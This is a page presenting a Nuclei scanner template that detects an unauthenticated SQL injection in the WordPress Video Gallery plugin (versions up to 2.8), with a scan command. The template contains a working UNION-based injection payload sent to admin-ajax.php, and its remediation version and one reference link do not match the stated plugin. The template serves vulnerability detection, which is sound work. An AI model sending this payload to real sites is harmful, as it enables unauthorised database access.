WordPress Video Gallery <= 2.8 - SQL Injection

ID: contus-video-gallery-sqli

Severity: critical

Author: theamanrawat

Tags: sqli,wpscan,wordpress,contus-video-gallery,unauth

Description

The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.

YAML Source

id: contus-video-gallery-sqli

info:
  name: WordPress Video Gallery <= 2.8 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The plugin does not sanitise and escape a parameter before using it in a SQL statement via an AJAX action (available to unauthenticated users), leading to an SQL injection.
  remediation: Fixed in version 1.6.3
  reference:
    - https://wpscan.com/vulnerability/b625aee5-8fd1-4f3e-9a9c-d41bdec13243
    - https://wordpress.org/plugins/photo-gallery/
  metadata:
    verified: true
    max-request: 1
  tags: sqli,wpscan,wordpress,contus-video-gallery,unauth
variables:
  num: '999999999'

http:
  - raw:
      - |
        @timeout: 10s
        POST /wp-admin/admin-ajax.php?image_id=123 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=GalleryBox&filter_tag=1)" union select * from (select 123)a1 join (select 2)a2 join (select 3)a3 join (select 2)a4 join (select 2)a5  join (select 2)a6 join (select 2)a7 join (select 2)a8 join (select 2)a9 join (select 2)a10 join (select 2)a11 join (select 2)a12 join (select 2)a13 join (select 2)a14 join (select 2)a15 join (select 2)a16 join (select 2)a17 join (select 2)a18 join (select version())a19 join (select md5({{num}}))a20 join (select 2)a21 join (select 2)a22 join (select 2)a23-- -

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "c8c605999f3d8352d7bb792cf3fdb25b"

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100ead62e813fdd2ba02945a93d929a4a0d814b6e347d7174209fdba8d8c520449a022100b52c966196476ac46664352cd770783d1edc678f1a88e6b4a386d10544e5acdc:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/wordpress/contus-video-gallery-sqli.yaml"

View on Github